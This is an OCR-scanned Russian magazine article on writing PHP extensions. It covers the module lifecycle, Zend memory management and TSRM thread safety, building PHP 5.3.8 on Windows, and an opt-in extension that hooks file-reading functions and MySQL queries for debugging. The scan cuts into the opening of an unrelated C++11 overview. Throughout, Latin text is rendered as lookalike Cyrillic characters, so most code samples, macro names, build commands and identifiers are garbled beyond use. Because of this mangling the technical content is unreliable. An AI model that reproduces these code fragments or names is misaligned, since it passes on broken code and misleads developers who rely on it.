АРХИТЕКТУРА РАСШИРЕНИЯ 

Обычно расширение лежит в собственной папке в директории ехі 
каталога с исходниками РНР. Имя папки, в которой находится ис- 
ходный код, соответствует имени расширения. Кроме исходников, в 
папке расширения также должны находиться два файла: сопПд.т4 
и сопПд.ѵѵ32. Первый — это порция конфигуратора для ІЛМІХ-систем, 
второй — для ѴѴіпсІоѵѵз. С помощью этих файлов скрипт сопЛдиге 
решает, включать или отключать расширение; если включать, то 
какие исходные файлы компилировать и какие дополнительные 
флаги компилятора задавать и т. п. Не будем заострять внимание 
на конфигурации, а если интересно — посмотри содержимое этих 
файлов и содержимое МакеПІе после их применения. 

ЖИЗНЕННЫЙ ЦИКЛ 

Жизненный цикл модуля начинается с вызова процедуры М I N I Т. В 
этот момент происходит выделение ресурсов для всего модуля, ини- 
циализация глобальных переменных, регистрация ІІ\ІІ епігу и т. д. 
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Модуль загружается в двух случаях: при инициализации движка 
2епсІ, когда загружаются расширения, перечисленные в рЬр.іпі, и 
при вызове функции сІІ, которая уже помечена как бергесаіесі. После 
получения запроса вызывается функция РІ N ІТ. Здесь нужно вы- 
делять память и инициализировать переменные, которые должны 
быть доступны только во время обработки запроса. После отработки 
скрипта вызывается Р5Н1Л00\А/1\1. Логично, что в ней надо освобож- 
дать ресурсы, выделенные в РІІМІТ. В процессе завершения работы 
ѵѵеЬ-сервера 2еп6 вызывает М5НІІТ00ѴѴМ. Все просто. По анало- 
гии с ООП в качестве конструктора/деструктора для всего модуля 
выступает МІІ\ІІТ/М5НІЯ00\Л/І\І, а отдельный запрос выполняется с 
помощью В1М1Т/В5Н1ЛТ)0т 



РАБОТА С ПАМЯТЬЮ 

Движок Іепд реализует в виде подсистемы собственный менеджер 
памяти со сборщиком мусора. На первый взгляд, это стандарт- 
ные функции работы с памятью таІІосЛгее/саІІос/геаІІос и т. п., 
но только с какими-то префиксами (рис. 1]. 2епсІ определяет два 
типа памяти: ІМоп-РегзізІепІ (префикс «е») и Регзізіепі (префикс 
«ре»). Основное отличие между ними состоит в том, что Регзізіепі 
(постоянная память) не освобождается после запроса, а І\Іоп- 
Регзізіепі освобождается. Так гласят публичные источники инфор- 
мации, однако на самом деле на пути МІІ\ІІТ-РІІ\ІІТ-Р5НІЯ00ѴѴІ\І- 
М5НІІТ00ѴѴІ\І сборщик мусора освобождает память, выделенную 
через етаііос, то есть если выделить через етаііос память в М I N I Т, 
то в РІ N ІТ память будет уже недоступна или даже выделена под 
другие ресурсы. Следовательно, ІМоп-РегзізІепІ нужно использо- 
вать в контексте запроса, а Регзізіепі — в контексте модуля. Не ре- 
комендуется пользоваться стандартными таІІосЛгее и возлагать 
на движок функцию освобождения непостоянной памяти. 

ПОТОКОБЕЗОПАСНОСТЬ И ГГ5 

Потоковая безопасность или потокобезопасность — это концеп- 
ция, в рамках которой многопоточный код выполняется коррек- 
тно, при этом обеспечивая всем потокам доступ к разделяемым 
ресурсам. РНР использует потокобезопасную модель под на- 
званием 2Т5 (2епб ТЬгеасІ-5а(еІу). Модель 2Т5 основана на Т5РМ 
(ТЬгеасІ Заію Резоигсе Мападетепі). Это подсистема ядра, которая 
обеспечивает потоковую безопасность при работе с глобальными 
переменными (ресурсам), привязанными к конкретному запросу. 

Со стороны модуля работа с Т5РМ выглядиттак: в заголовочном 
файле подключается Т5РМ.И, с помощью макросов 2ЕЫ 0_В ЕѲ I Ы_ 
М(ЮІІІ_Е_еі_0ВАІ_5 и 2ЕМ0_ЕМ0_МСЮІІІ_Е_6І_0ВАІ_5 фиксируется 
определение структуры ресурса, определяется специальный 
макрос для быстрого доступа к полю ресурса, в исходном фай- 
ле (после подключения необходимых заголовков) вызывается 
макрос 2ЕІ\Ю_0ЕСІ-АРЕ_М001ІІ_Е_ВІ-0ВАІ_5, который объявляет 
идентификатор ресурса, а в функции М I N ІТ вызывается 2ЕІ\Ю_ 
ІІ\ІІТ_МСЮІІІ_Е_0І_ОВАІ_5. Если посмотреть на определения этих 
макросов, то кое-что станет понятно. Но самое сложное и интерес- 
ное скрывается глубоко внутри РНР. 

В основе механизма потоковой безопасности лежат два дина- 
мических массива І5гт_ІІ5_ІаЫе и гезоигсе_1урез_1аЫе, а также 
загадочная переменная ІзггтНз. Вот их объявления: 

зііаііс і ізгш іііз епігѵ ***5гт_*15_±аЬ1е=1\1111_1_; 
зіаіііс і 5гт_гезоигсе_1:уР е *гезоигсеАурез_іаЬ1е=І\ІІІІ_І_; 

ѴОІСІ ***~Е5ГІТІ_І5 і 



•Ь урегіе* 5*гис1 { 

зігеі: зіге; //размер ресурса 
із_а11оса1:е_с1:ог сіог ; //инициализатор ресурса 
1:5_а11оса1:е_сІ1:ог сіііог ; //деструкто р ресурса 
ІПІ сіопе; //закончен а ли раб ота с ресурсом 
} 1:5гт_ге5оигсе_1:уре; 



зіігисі: Іізгтііізепіігу { 



Тга4іІійііаІ 


гчоп-РегзГяепі 


РегзЫепі 


таПос{соітО 


е-тпаПосСсаип^) 


ретаНосСсоипі. 1) 


сѴПос^соип'С. пит) 


есаПос(соипі. пит) 


реса11ое(еоипЪ. пит. 1 ) 


«ггіиК&Іг) 


«ЕгсІир($*гЗ 


р«*гс1ир($іт, 1) 


5 *гпсіир($іг | 1*п) 


«Ь-гкІирСзіг, Іеп) 


ретаІІоеО Л татсруО 


Тге«(р*г) 


еТгае(рйг) 


реТгееСр^Г'. 1) 


г еаі 1 ос (р* г . п ге) 


ег еаі 1 ос (ріг . пей 1 ® і ге) 


регеа11ос(ргг. пеѵгеіге. 1) 


*а11ос(соип* ■> гшгй * ех*г) 


5аТе_&тіаПос(соиіИ. пит, 
ех*г) 


гаТе_ре?паПос(соип*. пит, 
ехіг) 



Таблица-памятка по работе с памятью при написании расширения 




6пиѴѴіп32 — незаменимая вещь при сборке под виндой софта, 
который некогда работал только под ІШІХ 



ѵоісІ **з 1:ога^е: / /адрес массива указателей на ресурсы 
іпі: соштЕ; //кол-во указателей в зіога^е 
ТНКЕАО_Т ІіИ пеасІ_ісІ ; //и дент и фикатор п отока 
ізгіті ІІ5 епігѵ *пехі; //указатель на следующую запись 
ІЗ — 



Массив І5гт_ІІ5_ІаЫе не является в полной мере динамиче- 
ским, то есть память под массив указателей І5гт_ІІ5_епІу выделя- 
ется один раз и больше не перераспределяется. 

Массив гезоигсе_1урез_1аЫе, наоборот, динамически рас- 
ширяется каждый раз, когда модуль (или код ядра) вызывает 
2ЕІ\Ю_ІІ\ІІТ_МСЮШ_Е_0І_ОВАІ_5, под которым скрывается вызов 
ізаііосаіеісі: 

#бебпе 2ЕШ_ІМІТ_М0РЦІЕ_610ВА15(тогіи1е_пате . А 

§1оЬа1з_с1:ог л §1оЬа1з_сІ1 : ° г ') \ 

із_а11осаіе_ісІ(&тосІи1е_пате##_^1оЬаІ5_ісІ. \ 
5І2ео-Р(2епсІ_##тосІи1е_пате##_§1оЬаІ5) . \ 

(Ііз аііосаіе сіог) ^ІоЬаІз сіог. \ 

(1і5_а11оса1:е_сІ1:ог ) ^ІоЬаІзА ^ 01 ") і 



Т5КМ_А рі із гзгс ісі із_а11осаіе_ісІ(1:5_г5гс_ісІ *гзгс_ісІ^ 
зіге 1: зіг е , із аі іосаііе сіог с іо г., 
ізаііосаіесііог с№ог) : 

Параметр гзгс_ісі — это адрес, куда записывается идентифика- 
тор выделенного ресурса, зіге — необходимый размер памяти под 
ресурс, сіог/сйог — адреса функций инициализации/деструкции 
ресурса. В сіог-функции, кроме самой инициализации перемен- 
ных, принято производить, например, копирование из глобального 
массива в локальный (привязанный к конкретному запросу). 
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Расширяя горизонты РНР 



Переменная ІзггтИз хранит адрес поля зіогаде текущего по- 
тока. Она практически везде передается в качестве параметра 
через макросы Т5РМІ_5_С/Т5РМІ_5_СС. Самое главное, что через 
эту переменную код получает доступ к локальному ресурсу потока. 
Звучит страшно? 

На самом деле все просто. Каждый элемент Ізгт_ІІ5_ТаЫе 
представляет собой первый элемент односвязного списка. Раз- 
меры І5гт_ІІ5_ІаЫе и гезоигсе_1урез_1аЫе задает 5АРІ, вызывая 
І5гт_5ІагІіір. Сразу после вызова Ізгт_5ІагІир 5АРІ получает 
ІзггтИз через І5_гезоигсе_ех(0,МІіи_): 

Т5КМ_АРІ ѵоісі *1:5_ге5оигсе_ех( 

1=5_г5гс_іс1 ісі,, ТНКЕАО_Т *іЬ_ісІ); 

Функция Із_гезоигсе_ех ищет в Ізгт_ІІ5_ІаЫе экземпляр 
І5гт_ІІ5_епІгу для потока, указанного в *Ь_ісІ (если указан І\ІШ_І_, 
то для текущего). Если поиск ничего не дал, эта функция через 
а11оса1е_пе\л/_гезоигсе выделяет новый экземпляр Ізгт_ІІ5_епІгу и 
записывает его либо в начало односвязного списка, либо в конец, 
используя І5гт_ІІ5_епІгу.пехІ последнего элемента. 

А вот тут и начинается магия Т5РМ. В а11оса1е_пе\л/_гезоигсе, 
помимо всего прочего, создается массив зіогаде под указатели. Под 
них заново выделяется память (если работа с ресурсом не закон- 
чена) с размером І5гт_гезоигсе_Іуре.5І2е, после чего вызывается 
инициализатор (сіог) ресурса. Таким образом, каждый поток в Т5РМ 
работает со своими экземплярами всех зарегистрированных ресур- 
сов. Поэтому (в теории) повредить ресурсы чужого потока не сможет. 

ОПРЕДЕЛЕНИЕ И ОБЪЯВЛЕНИЕ 
ФУНКЦИИ, ПЕРЕДАЧА ПАРАМЕТРОВ 
И ВОЗВРАЩАЕМОЕ ЗНАЧЕНИЕ... 

...сегодня рассматриваться не будут. И на то есть весомые причины: 
информация на эту тему есть в интернете, а журнал не резиновый. 
Пройдись по ссылкам, и ты все узнаешь. В крайнем случае загляни 
в код примера (ищи на диске) — там есть подробные комментарии. 
Обсудим лучше компиляцию РНР под ѴѴіпсІоѵѵз. 

Сборка РНР под І_іпих — одно удовольствие, так как она не 
требует каких-либо дополнительных телодвижений. Совсем другое 
дело — компиляция РНР под ѴѴіпсІоѵѵз. Один мой знакомый про- 
граммист несколько лет назад даже заявил, что никогда не слышал 
о сборке чего бы то ни было под виндой. 

Независимо оттого, какты будешь компилировать свое рас- 
ширение: с помощью команды птаке и шаблона МакеПІе или с 
использованием удобной ѴізиаІ Зіисііо — тебе обязательно по- 
требуется получить рбрбІз.ІіЬ для линковки расширения с этой 
библиотекой. Ты, конечно, можешь взять библиотеку из бинарной 
сборки под ѴѴіпсІоѵѵз, а хидеры вырвать из исходников, но таков ли 
путь настоящего джедая? 

Предлагаю забить болт на официальные рекомендации с сайта 
РНР ( доо.дІ/ТТдІа ). В свое время я изрядно намучился, следуя 
указаниям этих доков. Возможно, вся проблема была в старенькой 
Ѵ52003, но винить ее я не хочу. 



КОГДА НЕТ НУЖНЫХ ЗАВИСИМОСТЕЙ 

Многие расширения требуют зависимости, которых нет в 6пи\А/іп32. 
Можно поискать их на официальном сайте (некоторые библиотеки 
имеют ѴѴіп-версию). Можно попытаться нагуглить портированную 
версию. А можно обратить свой взор на МіпбѴѴ. Это форк небезыз- 
вестного Судѵѵіп, заточенный под девелоперские цели. Грубо говоря, 
МіпбѴѴ позволиттебе получить портированную версию библиотеки с 
помощью привычных ./сопЛдиге && таке && таке іпзіаІІ. 



КОГДА ЗАВИСИМОСТЬ ЕСТЬ, 
НО ЕЕ НЕ ХОТЯТ 



Собирая однажды РНР под виндой, я был неприятно удивлен тем, что 
РНР забраковал мой ІіЬісопѵ. Смутно припоминая, что действительно 
заменил некоторые пакеты, я скачал последнюю версию либы, 
собрал под МіпбѴѴ и скормил РНР. Ответ не изменился. Тогда я 
обратился к проверенному бойцу. Не все знают, что пакет МА5М32 
содержит очень полезную утилиту іпс2І.ехе. Эта утилитка позволяет 
на основе іпс-файлов создавать валидные ІіЬ-файлы. Я создал 
файл _ІіЬісопѵ_ѵегзіоп РРОТО С (к слову, РНР ругался на отсутствие 
символа _ІіЬісопѵ_ѵегзіоп). Затем прогнал его через эту тулзу и... 

РНР все скушал, хотя по уму нужно было бы добавить еще несколько 
символов. Возьми этот прием на заметку. ;) 



Приступим. Для начала условимся, что все сказанное ниже от- 
носится к Ѵ52008. 

Первым делом получаем исходники РНР (на момент написа- 
ния статьи я работал с версией 5.3.8) и распаковываем в любую 
папку. Далее необходимо получить зависимости (статические 
библиотеки и хидеры, от которых зависит РНР). Ты можешь взять 
те, на которые ссылается официальное руководство (но только 
не пиши мне потом, если что-то не будет линковаться), а я пойду 
другим путем. Ты когда-нибудь слышал о проекте бпи\А/іп32? По 
сути, это набор портированных под винду бинарников, библиотек 
и хидеров, которые смогут помочь нам в компиляции как РНР, 
так и других проектов под ѴѴіпсІоѵѵз (конечно, если разработчики 
позаботились о такой возможности). Установка бпиѴѴіп32 проста, 
но не совсем тривиальна. После отработки инсталлера выполни 
следующие действия: 

ссі Е : \§пиміп32\Се1:бпиІлІіп32 
сісмпіоасі . Ьаі: 
іпзііаіі Е : \§пиміп32 

Чтобы собрать РНР как модуль АрасЬе, ну и не забыть о базе дан- 
ных, возьми из установочных директорий индейца и МуббЬ-папки ІіЬ 
и іпсЫе и положи их, например, в Е:\сІер. 

Теперь есть все что нужно. Запускай командную строку ѴізиаІ 
Зіисііо. Переходи в папку с исходниками РНР. Запускай ЬиіІсопТ за- 
тем скрипт сопПдиге, а после птаке: 

Е : \рИр- 5 . 3. 8>Ьиі1сІсоп-р 

Е : \рИр- 5 . 3. 8>сопб§иге - -ыі1:Іі-ех1:га-1іЬ5=Е : \сІер\арасІіе\ 

ІіЬ; Е : \с1ер\тузд1\НЬ; Е іД§пиміп32\1іЬ - -ыііЬ-ехіга-іпсІисІез 
=Е : ХсІер\арасЬе\іпс1исІе ; Е : ХсІерХтѵздІХіпсІисІе ; Е : \^пиыіп32\ 
іпсіисіе --ѵѵі-ЕЬ-тѵ5д1=5НагесІ -~ыі1:И-ту5д1і=5ИагесІ 
--епаЫе-рсІо --ыіІіЬ-рсІо-туздІ --мііЬ-рсІо-здІіі^зЬагесІ 
--епаЬІе-тЬзІігіп^зЬагесІ --ыі1:Ь-сиг1=5ЬапесІ 
--епаЫе-арасЬе2-2ЬапсІ1еп - -епаЫе-арасЬе2-2б11:ег 
Е:\рЬр-5.3.8>птаке 

Если все сделано правильно, через некоторое время у тебя в 
папке РеІеазе_Т5 появится модуль Апача, ядро рЬрбІз.сІІІ, ин- 
терпретатор рЬр.ехе и несколько модулей. Поздравляю, работа 
сделана! 



компиляцию В СТУДИЮ 

Для того чтобы собрать расширение в ѴізиаІ Зіисііо, проект необходи- 
мо правильно настроить. Запускай студию, жми РіІе->ІМеѵѵ ->Рго)есІ, 
выбирай МакеПІе Рго)есІ, указывай местоположение и название 
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проекта и клацай по ОК. В свойствах проекта на закладке бепегаі 
указывай Оупатіс ЫЬгагу (.сІІІ) для СопЬдигаЬоп Туре. На закладке 
С/С++/0епега1 в АсИШопаІ I псіисіе Оігесіогіез добавляй следующие 
директории (не забывая корректировать пути): 0:\ѵѵѵѵѵѵ\рЬр -5.3.8; 
0:\ѵѵѵѵѵѵ\рЬр-5.3.8\таіп\; 0 :\ѵѵѵѵѵѵ\ р И р - 5 . 3 . 8\Т Б Р М\; 6 :\ѵѵѵѵѵѵ\р И р - 
5.3.8\2епб\. В Ыпкег/СепегаІ для АсШіопаІ ЫЬгагу Оігесіогіез ука- 
зывай С:\ѵѵѵѵѵѵ\рЬр-5.3.8\РеІеа5е_Т5. А в Ыпкег/Іприі для АсШіопаІ 
йерепсіепсіез прописывай рЬрбІз.ІіЬ. Зависимости прописаны. 
Теперь необходимо указать определения препроцессора (С/С++/ 
Ргергосеззог -> Ргергосеззог ОеПпШопз): 

2 Е N О ілі I N 3 2 = 1 

Р Н Р ілі I N 3 2 = 1 

ЫІМ 32=1 

2емо_оевііс=0 

2Т5=1 

СОМРИЕ РІ_ ХНООКЕК=1 

Первые три определения указывают, что расширение компи- 
лируется под ѴѴіпбоѵѵз. Но это ты и без меня понял. ;) А вот что на 
самом деле важно: от первых трех определений зависит, какие 
конфигурационные заголовочные файлы подключаются при ком- 
пиляции, откуда они берутся, какие структуры используются и т. п. 

2ЕЫ О ОЕВЫІ0 определяет, компилируется ли отладочное рас- 
ширение (для получения отладочной информации и линковки 
используется не рЬрбІз.ІіЬ, а рЬр51з_с1еЬид.ПЬ). 

2Т5 определяет, используется ли 2Т5 (скомпилирован ли РНР 
как ТЬгеасІ Баі'е или ІЧоп ТЬгеасІ БаЫ. 

От определений 2ЕЫ 0 0ЕВЕ1 0 и 2Т5 зависит размер некоторых 
важных структур, и если ты где-то здесь ошибешься, то при загруз- 
ке расширения интерпретатором или в процессе работы рано или 
поздно вылезет окошко с ошибкой: «Бла-бла-бла.... обратилась к 
тра-ля-ля. Память не может быть геаб». Ну, ты наверняка хоть раз 
его видел. 

С0МР11_Е_01__ХН00КЕР, в сущности, не является обяза- 
тельным определением. На самом деле подобное определение 
создает скрипт сопЛдиге, если указано, что расширение необ- 
ходимо скомпилировать как динамически загружаемое (— ѵѵііЬ- 
ехІеп5Іоп=зЬагесІ). При этом часть ХНООКЕР представляет собой 
имя расширения. 



ПОЧЕМУ НЕ СОБИРАЕТСЯ 
ИЛИ НЕ РАБОТАЕТ? 



Если ты уверен, что дело не в зависимостях, тогда главная причина 
кроется в старом компиляторе. Обнови студию. Главная проблема, 
связанная со старыми студиями, заключается в том, что функция 
зсап в файле рагзе_сІа1:е.с состоит более чем из 21 тысячи строк кода 
(!), поэтому перед ней надо поставить #рпа§та орііітіге оТТ ). 
Однажды мне пришлось добавлять в исходный файл определение 
макроса, которого исходный код не мог найти, хотя сам же на него 
и ссылался (в итоге макрос нашелся контекстным поиском в другом 
исходнике). Один раз после запуска АрасЬе мне начали сыпаться 
странные сообщения отом, что скомпилированные РНР-модули не 
могут быть загружены. При детальном рассмотрении оказалось, 
что загрузчик не мог найти М5ѴСП90.СІІІ, прописанную в импорте 
(это повергло меня в шок, ведь РЕ Тооіз показывал эту библиотеку 
в контексте индейца). Оказалось, что у модулей отсутствует 
необходимый манифест в директории ресурсов. Поиски привели к 
тому, что МТ.ЕХЕ (утилита из студии, работающая с манифестами) 
отказалась работать с сетевым диском. 




Бесценные данные, бережно сохраненные нашим модулем 



На этом предварительные приготовления заканчиваются. Мож- 
но приступать к написанию нашего первого экстеншена. 

ПИШЕМ ХАКЕРСКОЕ РАСШИРЕНИЕ 

Давай для примера напишем что-нибудь полезное, не слишком 
простое, но всё-таки с хакерским уклоном. Некоторые СМ5 имеют 
такое количество скриптов, что порой сложно разобраться, какие 
файлы инклудятся и считываются при запросе по определенному 
ІІРІ_. А ведь эта информация необходима, чтобы понять, как СМ5 
формирует вывод. Если для подключенных файлов существует 
замечательная функция деЫпсЫесИіІез, то для прочитанных 
файлов аналога этой функции, увы, не предусмотрено. Хорошо, что 
у нас есть голова на плечах, а у тебя журнал. Чтобы наше расши- 
рение можно было считать хакерским, будем перехватывать в нем 
вызовы іюреп, ПІе_деІ_сопІепІ5, ПІе и геабПІе. А, черт с ним! Давай 
еще и МуБОБ-запросы захукаем. 

Определим фронт работ. Пусть указанные функции будут пере- 
хватываться, если пользователь дал на это разрешение, а нако- 
пленная информация — автоматически выводиться в браузер по- 
сле окончания запроса (реализуем это через настройки в рГір.іпі). 
Получить доступ к этой информации можно будет через функцию 
(назовем её неброско: де1_геабеб_П1е5) и через суперглобальную 
переменную (например, $_РЕА0Е0_РІІ_Е5). Ограничим настрой- 
ку разрешения на перехват только пределами рЬр.іпі (то есть 
сделаем так, чтобы через іпі_зеІ или через .Ыассезз изменить ее 
было нельзя). 

Как будем хукать? Каждая функция в РНР на языке Си имеет оди- 
наковый прототип, что существенно упрощает дело. Выглядит он так: 

ѵоісі 2 І-р_ГІ)І\ІСМ АМЕ(іп1: ІтЕ, гѵаі *г е1:игп_ѵа1ие . 

гѵаі **ге1:игп_ѵа1ие_р1:г., гѵаі *1:ІіІ5_р1:г л 
ге1:игп_ѵа1ие_и5еб Т5КМІ_5_РС) 

Но его обычно скрывают с помощью более простого макроса: 
РНР^ШСТІОІ\І(РШСМАМЕ) 

Итак, все, что нужно сделать, — это определить указатели на 
оригинальные функции, найти их, сохранить и заменить своими 
версиями (все как в букваре у первоклашек). Самое сложное, что 
сходу даже не представляешь, где нужно искать. Ты еще помнишь 
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Расширяя горизонты РНР 




Бага Соіетоп даже написала книгу о программировании расширений 

то, что читал про 2Т5 и глобальные ресурсы? Если нет — перечи- 
тай, я подожду. 

Так вот, движок РНР глубоко в закромах хранит список всех 
функций, классов, переменных и много других вкусностей, но 
сам работает с локальной копией этих таблиц — разделяемыми 
ресурсами. «Честным» путем до оригинала не добраться, но это 
не очень-то и нужно, ведь сам движок работает только с копиями, 
что нам только на руку. Интересующая нас информация хранится 
в разделяемом ресурсе ехесиІог_дІоЬаІ5, для доступа к которому 
используется макрос ЕС. Этот экземпляр структуры содержит ука- 
затель на РНР-массив (НазЫаЫе*). В самом массиве содержатся 
указатели на экземпляры 2 епсІ_{ипсІіоп_епІгу, которые кроме 
информации о принимаемых аргументах содержат имя и адрес 
обработчика функции. 

агг_Ьа5Ь = ЕС(-Рипс1:іоп_1:аЫе) ; 



-РоКгепсІ ЬазЬ іггЕегпаІ роіггЕег гезеі: ех( 
агг ИазИ. &роіп1:ег): 

2 е п сІ_М а 5 Ь_§е1:_с и г ге п1:_сІ аі: а_ех ( а г г_Ь а з Ь , 

(ѵоісі* *) &с1а1:а л &роіп1:ег)_^= 51ІССЕ55; 
2епсІ_Ііа5Іі_тоѵе_-РопыагсІ_ех(агг_Ііа5Іі л &роіп1:ег)) 

Ш ! з^гстрСбІе" л 

с!а1:а->іп1:егпа1_-Рипс1:іоп .-Рипсіііоппате) ) 

{ 

огі§іпа1_б1е^ сІа1:а->іп1:егпа1_-Рипс1:іоп . ЬапсІІег; 




ИНТЕРЕСУЮЩАЯ НАС 
ИНФОРМАЦИЯ ХРАНИТСЯ 
В РАЗДЕЛЯЕМОМ РЕСУРСЕ 
ЕХЕСЦТОЯ 6І_0ВАІ_5 



сІа1:а->іп1:егпа1_-Рипс1:іоп . бапсііег = Ьаскес1_б1е; 

} 



ь_ 

Таким образом осуществляем перехват всех функций. Полный 
код с подробными комментариями ищи на диске (и не забудь прой- 
ти по ссылкам, чтобы получить вводную информацию о программи- 
ровании расширений). А мы пока рассмотрим несколько интерес- 
ных приемов, которые использованы в коде. 

Вызов другой функции или создание саІІЬаск: 

іѵаі* а г§ѵ[1] ; 

іѵаі* -Рипс; 

іѵаі* ге1:ѵаЛ = І\ІІІІ_І_; 



МАКЕ 5ТР 2ѴАиге1=ѵаП ; 
апеѵ[Ѳ] = ХН_С(_ту_пеасІесІ_б1е5) ; 
МАК Е_5ТР_2ѴАІ_ ( би п с Д; 



2ѴАІ__5ТКІІ\іе(-Рипс д "ѵаі^сіитр" , 0) ; 
са11_изег_-Рипс1:іоп(Е6(-Рипс1:іоп_1:аЫе) . 

N1)1.1.. -Рипс. геігѵаі. 1. аг§ѵ Т5КМІ.5ССѴ. 

Если накопленную информацию требуется скидывать в момент 
завершения запроса, я использую стандартную функцию РНР 
ѵаг_сІитр(). Таким способом в своем расширении ты можешь при- 
нять строковый параметр названия функции, а при возникновении 
события осуществить саІІЬаск. Кроме параметров са I І_и5ег_Ри псііоп, 
обсуждать здесь вроде больше нечего. Это следующие параметры: 
массив 1шпсЬоп_1аЫе, адрес указателя на объект (обычно МШ_І_), имя 
функции, возвращаемое значение, количество аргументов, массив с 
аргументами. 

Для создания суперглобальных переменных поступаем следую- 
щим образом. В М I N ІТ расширения пишем: 

2епсI_пе§І51:ег_аи1:о_§1оЬа1( ,, _КЕА^Е^_РI^Е5 ,, ^ 

5І2еоТ ("_КЕАРЕР_ГІІ_Е5" ^ -1.1\|Ц|_1_ Т5КМІ_5_СС); 

Это простая регистрация переменной, _ПЕА0Е0_РІІ_Е5 — имя 
переменной ($_РЕА0Е0_РІІ_Е5). В РІ N ІТ модуля пишем: 



2ЕІ\ІР_5ЕТ_СІ_ОВАІ__ѴАК( "_КЕАРЕР_РІІ_Е5" д 

ХН_С (_ту_геасІесІ_б1е5)Х; 

Так мы связываем нашу суперглобальную, но пока абстрактную 
переменную с конкретными данными. 

Суперглобальная переменная — это всего лишь переменная. 
Если пользователь удалит ее через, например, ип5е*:($С1_0ВА1_5[ , _ 
КЕАРЕВ_РІІ_Е5']), то следующий вызов одной из перехватываемых 
функций обрушит Апач к чертям собачьим. 

Поэтому при добавлении перехваченной информации к массиву 
приходится проверять, содержится ли наша переменная в массиве 
символов ЕС (зутЬоНаЫе). Я сделал так, чтобы пользователь мог 
удалить эту переменную (в конце концов, это его право), но тогда он 
сам будет виноват в том, что не получит доступ к информации даже 
через деІ-ГеасіесМіІезО. 

Для эксклюзивного доступа к массиву функций во время уста- 
новки хуков я использовал мьютексы, предоставляемые Т5РМ. 

НА ЭТОМ МОЖНО ЗАКОНЧИТЬ 

Сегодня мы познакомились с программированием расширений для 
РНР. Разобрались в устройстве потокобезопасной модели движка. 
Узнали несколько хитростей, которые обычно нигде не обсуждают- 
ся. Наконец, написали полезное РНР-расширение. Мне остается 
пожелать тебе удачи на этом поприще и понадеяться, что о 5АРІ 
будет подробно написано в следующей статье. Адью. ІйІ 
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Дима Осмаков (ЬитзНтуакйуапсІех.ги) 



КОДИНГ 




Новый стандарт 



С++11: ОБЗОР 
НОВЕЙШЕГО 
СТАНДАРТА 
ЯЗЫКА С++ 

В новом стандарте языка 
С++ появилось множество 
интересных возможностей, 
которые помогают сделать 
код более простым и 
эффективным. В этой 
статье я хочу рассмотреть 
некоторых из них. 






• Пресс-релиз 
стандарта: Ьіі.Іу/ 



• Последняя 
доступная версия 
черновика 
стандарта: ЬіІ.Іу/ 
оКЬЕЗх . 

• РАО о С++11 от 
Бьёрна Страуструпа: 

ЬіЫѵ/ІаМРСк . 

• Обзор С++11 от 
Баппу Каіеѵ: ЫЫу/ 

тОТТ91 . 



ішп 

Рабочая версия 
стандарта носила 
название С++0х, так 
какего планировали 
ввести до 2010 
года. Автор С++ 

Бьёрн Страуструп 
предлагаетсчитатьх 
шестнадцатеричным 
числом. 



ІІМТРО 

Десятого октября 2011 года Международная организация по стандар- 
тизации 150 опубликовала очередной стандарт для языка С++ (150/ІЕС 
14882:2011). Он получил неофициальное название С++11. Предыдущая 
версия стандарта датирована 2003 годом. За восемь лет накопилась 
огромное количество предложений по улучшению как самого языка, 
так и стандартной библиотеки. В 2007 году часть этих предложений 
была зафиксирована в «техническом докладе» ТР1, но так как он 
представлял собой просто расширение, а не полноценный стандарт, 
то его не обязаны были поддерживать все компиляторы. 

При разработке нового стандарта 150 в основном руководство- 
валась следующими соображениями: необходимо было оставить 
С++ языком системного программирования, чтобы «не платить за 
то, что не используется»; требовалось сделать С++ более простым 
для понимания и изучения. Часть нововведений позволяет сделать 
код более простым и единообразным. К ним относятся единообраз- 
ная инициализация и лямбда-функции, а также многочисленные 
улучшения, связанные с проектированием классов и метапрограм- 
мированием. Другие изменения касаются повышения производи- 
тельности программ, это главным образом гѵаіие ге^егепсез (тоѵе 
зетапіісз) и сопзіехрг. Стандартная библиотека также пополни- 
лась множеством инструментов, которые расширяют функциональ- 
ность языка. В их число входят поддержка многопоточного про- 
граммирования (іЬгеасЫ, регулярные выражения (гедех), кортежи 
(іиріез), новые алгоритмы и контейнеры. Изменений очень много, и 
чтобы охватить их все, придется прочитать сам стандарт (послед- 
ний доступный черновик содержит 1320 страниц). В этой статье я 
планирую осветить лишь некоторые из них. 

Как компиляторы реализуют стандарт? В интернете можно найти 
сводную таблицу уже реализованных фичей из нового стандарта 
( Ьир5:/Ал/ікі.арасЬе.ога/5Ібсхх/С%2В%2В0хСотрі1ег5иррогі ). В таблице 
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ниже приведена информация о том, какие компиляторы поддержива- 
ют фичи, рассматриваемые в этой статье. 

На данный момент стандарт наиболее полно реализован в послед- 
них версиях компилятора 6СС, именно поэтому именно я использовал 
ССС 4.6.1 для иллюстрации своих примеров. Для того чтобы включить 
поддержку С++1 1, компилятору нужно передать опцию -5ІсІ=с++0х. 

Итак, давай познакомимся с некоторыми новыми возможностями. 

АВТОМАТИЧЕСКИЙ ВЫВОД ТИПА 

Если при объявлении переменной ты сразу же ее инициализируешь, то 
тип переменной указывать не обязательно. 

В этом случае вместо типа можно указать ключевое слово аиіо, и 
компилятор создаст переменную того же типа, что и инициализирую- 
щее выражение. Например: 

х = 42; // іпі 
рі = 3.14; // сІоиЬІе 
аиііо с = 'х ' ; // сбаг 
аиііо б іг = 5І=гіп§("ххх" ) ; // б1ігіп§ 

Важно отметить, что типизация в С++1 1, как и прежде, статическая, 
то естьтип переменной определяется раз и навсегда в момент ее объ- 
явления. Использование аиіо просто упрощает объявление перемен- 
ной. Это особенно удобно, когда нужно создать переменную какого- 
нибудь сложного типа с длинным названием. Например, вместо 

ѵес1=оп<5І=гіп^>: :і1=епа1=оп 5І=аг1= = ііобііб .Ь е^іпО ; 

можно написать 

аиіо Бііагіі ^ ііобііб . Ье§іп( )_; 

Также аиіо сильно помогает в случае, если тип переменной должен 
каким-то хитрым образом зависеть от параметров шаблона. Рассмо- 
трим такую шаблонную функцию: 

іетріаііе <с1ав5 РігБІіТуре., 5есопсІТуре> 

ѵоісі Б ІіошМасІ5кі1І5(Гіг5ІіТуре іігбіі, БесопсІТуре зесопсі) { 

аиііо і іііігсі = бгБІі + бѳсопсі; 

// ... 

ь_ 

При инстанцировании этой шаблонной функции у компилятора 
будет вся информация о типах бгзі и зесопсі, поэтому он сможет пра- 
вильно определитьтип для іЬігсі. 

ОЕСИѴРЕ И 5ТАТІС_А55ЕРТ 

Рассмотрим еще несколько простых, но полезных нововведений, ка- 
сающихся работы с типами. Оператор сіесііуреіехргеззіоп) принимает 
на вход выражение и возвращает его тип. Например: 

